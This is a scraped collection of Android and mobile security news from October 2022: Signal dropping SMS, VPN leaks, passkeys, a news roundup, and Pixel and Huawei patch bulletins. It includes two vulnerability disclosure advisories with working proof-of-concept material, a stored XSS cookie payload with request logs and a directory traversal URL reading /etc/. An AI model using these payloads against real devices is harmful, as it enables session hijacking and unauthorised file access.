Main driver for the change: "Plaintext SMS messages are inherently insecure."

Private messaging app Signal plans to discontinue the ability for Android users to send and receive plaintext SMS and MMS messages with the Signal app.

The app developer cited its priority of providing security and privacy to users for the decision — as well as protecting users from surprise messaging bills from their mobile providers and providing an overall more streamlined and clear user experience.

"The most important reason for us to remove SMS support from Android is that plaintext SMS messages are inherently insecure. They leak sensitive metadata and place your data in the hands of telecommunications companies. With privacy and security at the heart of what we do, letting a deeply insecure messaging protocol have a place in the Signal interface is inconsistent with our values and with what people expect when they open Signal," the mobile messaging app provider wrote in a post late last week.

The phaseout will occur over the next few months, and Android Signal users will receive notifications on how to export SMS messages and select a default SMS messenger, as well as how to invite users to Signal who texted them via SMS. 

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Signal to Ditch SMS/MMS Messaging on Android

WiFi File Transfer version 1.0.8 suffers from a cross site scripting vulnerability.

Document Title:  
===============  
WiFi File Transfer v1.0.8 - Cross Site Scripting Vulnerabilities

References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2322

Release Date:  
=============  
2022-10-17

Vulnerability Laboratory ID (VL-ID):  
====================================  
2322

Common Vulnerability Scoring System:  
====================================  
5.6

Vulnerability Class:  
====================  
Cross Site Scripting - Persistent

Current Estimated Price:  
========================  
500€ - 1.000€

Product & Service Introduction:  
===============================  
WiFi File Transfer lets you transfer files to/from your phone or tablet via WiFi. Easy to use web interface, no USB cable required.

(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.smarterdroid.wififiletransfer&hl=de&gl=US  )

Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a multiple persistent cross site vulnerabilities in the WiFi File Transfer v1.0.8 mobile android web-application.

Affected Product(s):  
====================  
smarterDroid  
Product: WiFi File Transfer v1.0.8 - Android (Wifi) (Web-Application)

Vulnerability Disclosure Timeline:  
==================================  
2022-10-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:  
=================  
Published

Exploitation Technique:  
=======================  
Remote

Severity Level:  
===============  
Medium

Authentication Type:  
====================  
Open Authentication (Anonymous Privileges)

User Interaction:  
=================  
Low User Interaction

Disclosure Type:  
================  
Independent Security Research

Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in the WiFi File Transfer v1.0.8 mobile web-application for android.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application  
requests from the application-side.

The vulnerabilities are located in the data_file parameter of the add a file or folder and create a zip file function.  
Attackers with wifi access are able to anonymous use the webui and can inject own malicious script code with persistent  
attack vector via post method request.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external  
redirects to malicious source and persistent manipulation of affected application modules.

Proof of Concept (PoC):  
=======================  
The persistent post inject web vulnerabilities can be exploited by remote attackers in the same wifi network with anonymous privileges and low user interaction.  
For security demonstration or to reproduce the web security vulnerability in the application follow the provided information and steps below to continue.

Manual reproduce of the vulnerability ...  
1. Install the mobile android application and start it  
2. Start the wifi web-server  
3. Login as attacker by the browser over the network  
4. Inject payload as folder name, file name or zip file and save via post method request  
5. The payload executes in the web ui when previewing the paths

Exploitation: Payload  
<a onmouseover=alert(document.cookie)>picture1337.jpg</a>

--- PoC Session Logs #1 (POST) [Add] [Create] [Folder] [data_file] ---  
http://localhost:1234/storage/emulated/0/DCIM/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------321836412920954805143620932676  
Content-Length: 613  
Origin:http://localhost:1234  
Connection: keep-alive  
Referer:http://localhost:1234/storage/emulated/0/DCIM/  
action=mkdir&data_file=New"><a onmouseover=alert(document.cookie)>picture1337.jpg</a>&data_currentParams=?&data_filepath=/storage/emulated/0/DCIM/  
-  
POST: HTTP/1.1 302 OK  
Connection: Close  
Content-Type: text/html  
Location:http://localhost:1234/storage/emulated/0/DCIM/  
Content-Length: 143  
-  
http://localhost:1234/storage/emulated/0/DCIM/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Referer:http://localhost:1234/storage/emulated/0/DCIM/  
Connection: keep-alive  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html

--- PoC Session Logs #2 (POST) [Add] [Create] [Zip] [data_file] ---  
http://localhost:1234/storage/emulated/0/Pictures/?  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------289297208414223233314228108045  
Content-Length: 882  
Origin:http://localhost:1234  
Connection: keep-alive  
Referer:http://localhost:1234/storage/emulated/0/Pictures/?  
Upgrade-Insecure-Requests: 1  
action=multizip&data_file=.<a onmouseover=alert(document.cookie)>File.Zip</a>.Zip&data_currentParams=?&data_filepath=/storage/emulated/0/Pictures/&1.jpg=file&2.jpg=file  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html  
Location:http://localhost:1234/storage/emulated/0/Pictures/  
Content-Length: 151  
-  
http://localhost:1234/storage/emulated/0/Pictures/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Referer:http://localhost:1234/storage/emulated/0/Pictures/?  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html

Reference(s):  
http://localhost:1234/  
http://localhost:1234/storage/  
http://localhost:1234/storage/emulated/  
http://localhost:1234/storage/emulated/0/  
http://localhost:1234/storage/emulated/0/DCIM/  
http://localhost:1234/storage/emulated/0/Pictures/

Solution - Fix & Patch:  
=======================  
The persistent web vulnerabilities can be resolved by the following steps ...  
1. Restrict the input of the folder, filename and zip files to disallow special chars for add or create process  
2. Encode and escape the content of the data_file parameter to sanitize the content  
3. Sanitize and filter the output locations of the explorer path listings to prevent further attacks

Security Risk:  
==============  
The security risk of the persistent web vulnerabilities in the mobile android wifi web-application are estimated as medium.

Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab  
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits  
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do  
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.  
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:   https://www.vulnerability-lab.com  ;  https://www.vuln-lab.com  ;https://www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other  
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or  
edit our material contact (admin@ or research@) to get a ask permission.

            Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™

--   
VULNERABILITY LABORATORY (VULNERABILITY LAB)  
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

WiFi File Transfer 1.0.8 Cross Site Scripting

Webile version 1.0.1 suffers from a directory traversal vulnerability.

    Document Title:===============Webile v1.0.1 - Directory Traversal Web VulnerabilityReferences (Source):====================https://www.vulnerability-lab.com/get_content.php?id=2320Release Date:=============2022-10-10Vulnerability Laboratory ID (VL-ID):====================================2320Common Vulnerability Scoring System:====================================7.3Vulnerability Class:====================Directory- or Path-TraversalCurrent Estimated Price:========================1.000€ - 2.000€Product & Service Introduction:===============================Webile, is a local area network cross-platform file management tool based on http protocol. Using the personal mobile phone as a server inthe local area network, browsing mobile phone files, uploading files, downloading files, playing videos, browsing pictures, transmitting data,statistics files, displaying performance, etc. No need to connect to the Internet, you can browse files, send data, play videos and otherfunctions through WiFi LAN or mobile phone hotspot, and no additional data traffic will be generated during data transmission. Support Mac,Windows, Linux, iOS, Android and other multi-platform operating systems.(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.wifile.webile&hl=en&gl=US  )Abstract Advisory Information:==============================The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the Webile v1.0.1 Wifi mobile web application.Affected Product(s):====================Product Owner: WebileProduct: Webile v1.0.1 - (Framework) (Mobile Web-Application)Vulnerability Disclosure Timeline:==================================2022-02-06: Researcher Notification & Coordination (Security Researcher)2022-02-07: Vendor Notification (Security Department)2022-**-**: Vendor Response/Feedback (Security Department)2022-**-**: Vendor Fix/Patch (Service Developer Team)2022-**-**: Security Acknowledgements (Security Department)2022-10-10: Public Disclosure (Vulnerability Laboratory)Discovery Status:=================PublishedExploitation Technique:=======================RemoteSeverity Level:===============HighAuthentication Type:====================Open Authentication (Anonymous Privileges)User Interaction:=================No User InteractionDisclosure Type:================Independent Security ResearchTechnical Details & Description:================================A directory traversal web vulnerability has been discovered  in the Webile v1.0.1 wifi mobile web application.The vulnerability allows remote attackers to change the application path in performed requests to compromise thelocal application or file-system of a mobile device. Attackers are for example able to request environmentvariables or a sensitive system path.The directory-traversal web vulnerability is located in the insecure web-server configuration. The path of the local user is notsecure restricted and validated. Thus allows an unauthenticated user with wifi access to request local web-server files withoutsecure permission. The bug itself is located in the filepath parameter of the change_upload_dir function.Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.Proof of Concept (PoC):=======================The directory traversal web vulnerability can be exploited by remote attackers without user account or user interaction.For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.PoC: Exploitationhttp://localhost:8080/webile_select_dir?t=change_upload_dir&filepath=../../../../../../../../../../../../etc/--- PoC Session Logs ---http://localhost:8080/webile_select_dir?t=change_upload_dir&filepath=../../../../../../../../../../../../etc/Host: localhost:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveCookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6Upgrade-Insecure-Requests: 1-GET: HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Connection: keep-aliveContent-Encoding: gzipTransfer-Encoding: chunked--- FS Session Logs ---Output:File name   bluetoothbpfcarriercompatconfiginitpermissionspppseccomp_policysecurityselinuxsensorssysconfigtextclassifierthemevintfepdgipmSecurity Risk:==============The security risk of the directory traversal web vulnerability in the mobile web application is estimated as high.Credits & Authors:==================Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-LabDisclaimer & Information:=========================The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Labor its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profitsor special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states donot allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.Domains:   https://www.vulnerability-lab.com  ;  https://www.vuln-lab.com  ;https://www.vulnerability-db.comAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of othermedia, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and otherinformation on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use oredit our material contact (admin@ or research@) to get a ask permission.            Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™-- VULNERABILITY LABORATORY (VULNERABILITY LAB)RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

Webile 1.0.1 Directory Traversal

Categories: News
Tags: a week in security

Tags:  week in security

Tags:  AI Bill of Rights

Tags:  Final Fantasy XIV

Tags:  Lock and Code S03E21

Tags:  Meta

Tags:  WhatsApp

Tags:  ransomware

Tags:  tax scam

Tags:  Chinese APT

Tags:  Android

Tags:  Chrome

Tags:  iOS

Tags:  managed detection response

Tags:  MDR

Tags:  disinformation

Tags:  FBI

Tags:  CISA

The most important and interesting computer security stories from the last week.



(Read more...)




The post A week in security (October 10 - 16) appeared first on Malwarebytes Labs.

twitter

facebook

linkedin

Youtube

instagram

Cybersecurity info you can't do without

Want to stay informed on the latest news in cybersecurity? Sign up for our newsletter and learn how to protect your computer from threats.

Cyberprotection for every one.

FOR PERSONAL

Windows

Mac

iOS

Android

Privacy VPN

SEE ALL

COMPANY

About Us

Contact Us

Careers

News and Press

Blog

Scholarship

Forums

FOR BUSINESS

Small Businesses

Mid-size Businesses

Large Enterprise

Endpoint Protection

Endpoint Detection & Response

Managed Detection and Response

MY ACCOUNT

Sign In

SOLUTIONS

Free Rootkit Scanner

Free Trojan Scanner

Free Virus Scanner

Free Spyware Scanner

Anti Ransomware Protection

SEE ALL

ADDRESS

3979 Freedom Circle  
12th Floor  
Santa Clara, CA 95054

ADDRESS

One Albert Quay  
2nd Floor  
Cork T12 X8N6  
Ireland

LEARN

Malware

Hacking

Phishing

Ransomware

Computer Virus

Antivirus

COMPANY

About Us

Contact Us

Careers

News and Press

Blog

Scholarship

Forums

MY ACCOUNT

Sign In

ADDRESS

3979 Freedom Circle, 12th Floor  
Santa Clara, CA 95054

ADDRESS

One Albert Quay, 2nd Floor  
Cork T12 X8N6  
Ireland

A week in security (October 10 - 16)

Categories: News
Tags: VPN

Tags:  iOS

Tags:  Android

Tags:  tunnel

Tags:  captive portal

Tags:  leak

Tags:  anonymity

“Block connections without VPN” doesn't block all connections without a VPN and “Always on VPN” isn't always on.



(Read more...)




The post Android and iOS leak some data outside VPNs appeared first on Malwarebytes Labs.

Virtual Private Networks (VPNs) on Android and iOS are in the news. It’s been discovered that in certain circumstances, some of your traffic is leaked so it ends up outside of the safety cordon created by the VPN.

Mullvad, the discoverers of this Android “feature” say that it has the potential to cause someone to be de-anonymised (but only in rare cases as it requires a fair amount of skill on behalf of the snooper). At least one Google engineer claims that this isn’t a major concern, is intended functionality, and will continue as is for the time being.

**MUL22-03**

The Android discovery, currently named MUL22-03, is not the VPN's fault. The transmission of data outside of the VPN is something which happens quite deliberately, to all brands of VPN, and not as the result of some sort of terrible hack or exploit. Although the full audit report has not yet been released, the information available so far may be worrying for some. According to the report, Android sends “connectivity checks” (traffic that determines if a connection has been made successfully) outside of whichever VPN tunnel you happen to have in place.

Perhaps confusingly, this also occurs whether or not you have “Block connections without VPN” or even “Always on VPN” switched on, which is (supposed) to do what you’d expect given the name. It’s quite reasonable to assume a setting which says one thing will not in fact do the opposite of that thing, so what is going on here?

The leakage arises as a result of certain special edge case scenarios, in which case Android will override the various “Do not do this without a VPN” settings. This would happen, for example, with something like a captive portal. A captive portal is something you typically access when joining a network—something like a hotspot sign-in page stored on a gateway.

Why? Because VPNs run on top of whatever Internet-connected network you are on, so you have to join a network before you can establish your VPN connection. Anything that happens before you establish your VPN connection can't be protected by it.

As per Bleeping Computer, this leakage can include DNS lookups, HTTPs traffic, IP addresses and (perhaps) NTP traffic (Network Time Protocol, a protocol for synchronising net-connected clocks).

Mullvad VPN first reported this a documentation issue, and then asked for a way to “...disable connectivity checks while 'Block connections without VPN' (from now on lockdown) is enabled for a VPN app.”

Google's response, via its issue tracker was “We do not think such an option would be understandable by most users, so we don't think there is a strong case for offering this.”

According to Google, disabling connectivity checks is a non-starter for four reasons: VPNs might actually be relying on them; "split channel" traffic that doesn't ever use the VPN might be relying on them; it isn't just connectivity checks that bypass the VPN anyway; and the data revealed by the connectivity checks is available elsewhere.

The rest is a back and forth debate on the pros and cons of this stance, which is still ongoing. At this point, Google is not budging.

**iOS has entered the chat**

It seems this isn’t something only confined to Android. There are similar things happening on iOS 16, with multiple Apple services claimed to be leaking outside of the VPN tunnel including maps, health, and wallet.

> We confirm that iOS 16 does communicate with Apple services outside an active VPN tunnel. Worse, it leaks DNS requests. #Apple services that escape the VPN connection include Health, Maps, Wallet.  
> We used @ProtonVPN and #Wireshark. Details in the video:#CyberSecurity #Privacy pic.twitter.com/ReUmfa67ln
> 
> — Mysk 🇨🇦🇩🇪 (@mysk\_co) October 12, 2022

According to Mysk, the traffic being sent to Apple isn't insecure, it's just going against what users expect.

> All of the traffic that appeared in the video is either encrypted or double encrypted. The issue here is about wrong assumptions. The user assumes that when the VPN is on, ALL traffic is tunneled through the VPN. But iOS doesn't tunnel everything. Android doesn't either.

They suggest that one way forward to stop this from happening would be to treat VPN apps as browsers and “require a special approval and entitlement from Apple”.

There probably won’t be much movement on this issue until the release of the full report on MUL22-03, but for now the opinion from those involved in testing seems to be that the risk is small.

Android and iOS leak some data outside VPNs

Google wants to make your digital life—in its ecosystem, anyway—passwordless and more secure.

Google recently announced that passkey support is coming to both the Android operating system and the Google Chrome web browser—and if you're wondering exactly what that means, you're in the right place. Passkeys are essentially a replacement for passwords that are designed to be more secure. You use them instead of traditional passwords to get into your various digital accounts, whether that's Google, Twitter, Dropbox, or anything else.

You don't get an _actual_ key. Instead, some kind of unlocking mechanism—typically facial recognition or fingerprint recognition, or just a PIN code—is used to prove you are who you say you are for the purposes of logging in.

However, it's not just a case of pressing a button and switching over. Developers need to also code passkey support into their apps and websites, which is why Google made the announcement on its Android Developers Blog.

The move is part of a broader industry push toward a passwordless future—you might have noticed that Microsoft is doing something similar. Users don't have to remember passwords, and there aren't any passwords for hackers to steal.

How Passkeys Work

You'll soon be able to create passkeys on your Android devices.

Google via David Nield

As Google puts it, a passkey “identifies a particular user account on some online service.” At its center is a cryptographic private key that gets stored on the devices you use. This is then matched against a public key held by the digital services you're signing into to confirm your identity.

To make sure it's really you, you'll need to unlock your phone or computer, which on a phone usually means entering a PIN code or letting your face or fingerprint get scanned. On computers, passwords may still be used to verify your identity, but the industry is moving toward biometric authentication all the time.

You don't actually see the passkey itself or need to know what it is—you just have to be you. Your face or fingerprint replaces that long list of passwords on a Post-it note that you might have, so it's much simpler and more convenient.

These passkeys use public-key cryptography, so if they're involved in a data breach, they're useless to bad actors without your face or your fingerprint. Similarly, if your laptop or phone gets stolen, your accounts can't be accessed because you're not going to be around to provide the necessary authentication.

This isn't just a Google initiative. Organizations such as the FIDO Alliance and the W3C Web Authentication group are busy working toward a passwordless future as well, so you'll be able to use these systems across any device, whether made by Google, Apple, Microsoft, or any other hardware maker.

Setting Up and Using Passkeys

Biometric authentication can be used in place of a password.

Google via David Nield

The good news is that using passkeys is as easy as unlocking your phone—it's intended to be as straightforward as possible. You'll be able to choose to move to a passkey system for your accounts, but only when the app you're logging in to and the device you're using have been upgraded with passkey support.

Let's say Google has finished rolling out passkey support to Android, you're logging in to an app that has been updated to use passkeys, and you've said yes when prompted to make the switch from a standard password. You'll then be asked to create a passkey, which will involve you having to do the same action you do to unlock your phone—show your face, press down your fingerprint, or enter a PIN. That creates the passkey and authenticates the link between the app in question and the device in your hand. Whenever you need to log in to that app in future, you'll need to go through the same unlock process. As with passwords, how long that authentication lasts will vary: With your banking app, you'll usually have to log in every time, whereas with a social media account one login per device is often enough.

You'll also be able to log in to sites on your computer through your phone via the magic of a QR code. The site will display a QR code that you scan with your phone—once you've gone through the unlock process on your mobile device, your identity will be confirmed and you'll be logged in to the site.

Encrypted synchronization across devices will also be handled—Google Password Manager is adding support for passkeys, for example, so should you lose access to one device, you can still get at your accounts from another one or from the cloud, assuming you're able to provide the necessary authentication (and you haven't changed your fingerprints or face in the meantime).

How to Use Passkeys in Google Chrome and Android

Plus: Hackers hit the Mormon Church, Signal plans to ditch SMS for Android, and a Fat Bear election erupts in scandal.

Users of the cryptocurrency exchange Celsius are in danger. Last week, as part of its bankruptcy proceedings, the company submitted a 14,500-page document that appears to contain the full names and recent transactions of its users. Typically private, this sensitive information ties people’s real-world identities to their once-anonymous cryptocurrency transactions, making them ripe targets for scammers and other criminals—and crypto-tracing investigators.

If you’re considering upgrading to the new Pixel 7 or Pixel 7 Pro, rest assured that Google put the phone’s security hardware through the wringer to make hacking the device as costly as possible. Not only that, the tech giant plans to roll out a built-in VPN for Android later this year.

For Windows 11 users, we walked through how to take advantage of Microsoft’s automatic phishing protection features. And for students and their parents, we explained exactly what to do to protect against school surveillance technology.

Finally, a Connecticut jury decided this week that Infowars host Alex Jones must pay nearly $1 billion in damages for defaming the families of victims of the 2012 mass shooting at Sandy Hook Elementary, as well as an FBI agent who responded to the horrific scene. The historic jury award doesn’t change what “free speech” means in the United States, but it might make social media platforms rethink their disinformation strategies.

But that’s not all! Each week, we round up the news we didn’t cover in depth ourselves. Click the headlines to read the full stories, and stay safe out there.

SpaceX says it can no longer fund Starlink satellite internet service in war-torn Ukraine, according to documents obtained by CNN. More than 20,000 Starlink terminals have been donated to the country since Russia invaded in February, and the service has been a lifeline for Ukrainian military efforts. But the $120 million it will take to fund the service through the end of the year is too much for SpaceX, and the company has reportedly asked the Pentagon to pick up the bill going forward.

The move to pull funding comes at an inauspicious time for Elon Musk, SpaceX’s outspoken CEO. The leaked letter asking the Pentagon to pay for Ukraine’s Starlink terminals and service is dated September 8. Less than a month later, on October 3, Musk got into a fight on Twitter with Ukrainian officials after suggesting the country end the war by largely agreeing to Russia’s demands. While a report said that Musk had a call with Russian president Vladimir Putin prior to his tweet about Ukraine appeasing Russia, both the billionaire and the Kremlin deny the call took place.

The Church of Jesus Christ of Latter-Day Saints (often known as LDS or the Mormon Church) revealed this week that hackers breached its systems in late March. In a statement, the church said that it did not disclose the intrusion until now at the request of law enforcement. While LDS says that donation histories and payment card information were not accessed, the data may include “your username, membership record number, full name, gender, email address(es), birthdate, mailing address, phone number(s), and preferred language.” According to the church, federal authorities believe the breach was “part of a pattern of state-sponsored cyberattacks aimed at organizations and governments around the world that are not intended to cause harm to individuals.”

Signal users on Android collectively groaned this week after the Signal Foundation announced that it would no longer support SMS and MMS messaging in the app. The convenient feature allowed Android users to message anyone, regardless of whether they were on Signal, through the app. (Signal’s iOS version did not support this feature.) Signal said in its announcement that the move was due to the inherent insecurity of SMS and the potential for users to forget that they weren’t sending end-to–end encrypted messages to non-Signal contacts. Signal’s lead Android developer, Greyson Parrelli, added in a forum post that part of the reason Signal was ditching SMS and MMS was because Signal “doesn’t play well” with RCS, Google’s new messaging protocol.

Not even bear-based elections are safe these days. On Sunday, officials behind Katmai National Park’s annual Fat Bear Week contest discovered that someone had monkeyed with the vote by flooding it with some 9,000 fake ballots in favor of a bear named 435. Fat Bear election integrity officials soon discovered thousands of fake email addresses linked to the bogus ballots, corrected the tally, and added a captcha to the site to fend off the spammers. Ultimately, a 1,400-pound grizzly aptly named 747 overtook 435 by some 7,000 votes and won the competition. “Bears don’t actually get anything from competing in or winning Fat Bear Week,” Amber Kraft, who helps run the competition at the park, told _Bloomberg_. “Despite which bear wins the most votes in the Fat Bear Week competition, they are all winners.”

Elon Musk’s SpaceX Bails on Starlink Funding for Ukraine

In SitRilClient_OnResponse of SitRilSe.cpp, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-223086933References: N/A

_Published October 3, 2022_

The Pixel Update Bulletin contains details of security vulnerabilities and functional improvements affecting supported Pixel devices (Google devices). For Google devices, security patch levels of 2022-10-05 or later address all issues in this bulletin and all issues in the October 2022 Android Security Bulletin. To learn how to check a device's security patch level, see Check and update your Android version.

All supported Google devices will receive an update to the 2022-10-05 patch level. We encourage all customers to accept these updates to their devices.

**Announcements**

*   In addition to the security vulnerabilities described in the October 2022 Android Security Bulletin, Google devices also contain patches for the security vulnerabilities described below.

**Security patches**

Vulnerabilities are grouped under the component that they affect. There is a description of the issue and a table with the CVE, associated references, type of vulnerability, severity, and updated Android Open Source Project (AOSP) versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Pixel**

    

CVE

References

Type

Severity

Component

CVE-2022-20231

A-211485702 \*

EoP

Critical

Trusty

CVE-2022-20364

A-233606615 \*

EoP

Critical

Kernel

CVE-2022-20397

A-223086933 \*

EoP

High

libsitril-se

CVE-2022-20464

A-236042696 \*

ID

High

Audio processor

**Qualcomm components**

   

CVE

References

Severity

Subcomponent

CVE-2022-22078

A-228096042  
QC-CR#2784147 \[2\]

Moderate

Bootloader

CVE-2022-25664

A-228095839  
QC-CR#3092515

Moderate

Display

CVE-2022-25666

A-228095650  
QC-CR#3097037

Moderate

Kernel

**Qualcomm closed-source components**

   

CVE

References

Severity

Subcomponent

CVE-2022-25662

A-228096097 \*

Moderate

Closed-source component

CVE-2022-25665

A-228096044 \*

Moderate

Closed-source component

**Functional patches**

For details on the new bug fixes and functional patches included in this release, refer to the Pixel Community forum.

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

Security patch levels of 2022-10-05 or later address all issues associated with the 2022-10-05 security patch level and all previous patch levels. To learn how to check a device's security patch level, read the instructions on the Google device update schedule.

**2\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**3\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**4\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the Android bug ID in the _References_ column. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**5\. Why are security vulnerabilities split between this bulletin and the Android Security Bulletins?**

Security vulnerabilities that are documented in the Android Security Bulletins are required to declare the latest security patch level on Android devices. Additional security vulnerabilities, such as those documented in this bulletin are not required for declaring a security patch level.

**Versions**

  

Version

Date

Notes

1.0

October 3, 2022

Bulletin Published

CVE-2022-20397: Pixel Update Bulletin—October 2022  |  Android Open Source Project

Uncaptured exceptions in the home screen module. Successful exploitation of this vulnerability may affect stability.

HUAWEI is releasing monthly security updates for flagship models. This security update includes HUAWEI and third-party library patches:

This security update includes the following third-party library patches:

This security update includes the CVE announced in the September 2022 Android security bulletin:

Critical: none

High: CVE-2022-20395, CVE-2022-22822, CVE-2022-23852, CVE-2022-23990, CVE-2022-25314, CVE-2022-25704, CVE-2022-22095, CVE-2021-0697, CVE-2021-0871, CVE-2021-0942, CVE-2021-0943, CVE-2022-25670

Medium: CVE-2022-28388, CVE-2022-20254, CVE-2022-20268, CVE-2022-20274, CVE-2022-20308, CVE-2022-20325, CVE-2022-20331

Low: none

Already included in previous updates: CVE-2022-20361, CVE-2022-20082, CVE-2022-20081, CVE-2021-39765, CVE-2022-25657, CVE-2022-22082, CVE-2022-22083, CVE-2022-22084, CVE-2022-22085, CVE-2022-22086, CVE-2022-22087, CVE-2021-0698, CVE-2021-0887, CVE-2021-0891, CVE-2021-0946, CVE-2021-0947, CVE-2021-39815, CVE-2022-20122

※ For more information on security patches, please refer to the Android security bulletins (https://source.android.com/security/bulletin).

This security update includes the following HUAWEI patches:

CVE-2021-40017: Vunerability of not verifying the validity of the key's format in the HW\_KEYMASTER module

Severity: Critical

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may cause out-of-bounds access.

CVE-2021-46839: Lack of length check vulnerability in the HW\_KEYMASTER module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers can construct malicious data and cause out-of-bounds access.

CVE-2021-46840: Out-of-bounds access vulnerability in parameter set verification of the HW\_KEYMASTER module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Attackers can construct malicious data and cause out-of-bounds access.

CVE-2022-38983: UAF vulnerability in the BT Hfp Client module

Severity: High

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability may cause arbitrary code execution.

CVE-2022-38984: Vulnerability of not verifying the data transferred by kernel space in the HIPP module

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability will cause out-of-bounds read, affecting confidentiality.

Acknowledgment: Wen Guanxing

CVE-2022-38985: Input verification vulnerability in the facial recognition module

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability will affect confidentiality.

CVE-2022-38986: Vulnerability of bypassing the check of data transferred by kernel space in the HIPP module

Severity: Critical

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability may cause out-of-bounds access to the HIPP module and page table tampering, affecting device confidentiality and availability.

Acknowledgment: Wen Guanxing

CVE-2022-38998: Vulnerability of not verifying the data transferred by kernel space in the HISP module

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability will cause out-of-bounds read, affecting confidentiality.

Acknowledgment: Wen Guanxing

CVE-2022-39011: Vulnerability of bypassing the check of data transferred by kernel space in the HISP module

Severity: Medium

Affected versions: EMUI 12.0.0

Impact: Successful exploitation of this vulnerability may cause unauthorized access to the HISP module.

Acknowledgment: Wen Guanxing

CVE-2022-41576: boot.sh script that can be modified by malicious programs in the rphone module

Severity: Medium

Affected versions: EMUI 12.0.0, EMUI 11.0.1

Impact: Successful exploitation of this vulnerability can cause irreversible program implantation on the user's device.

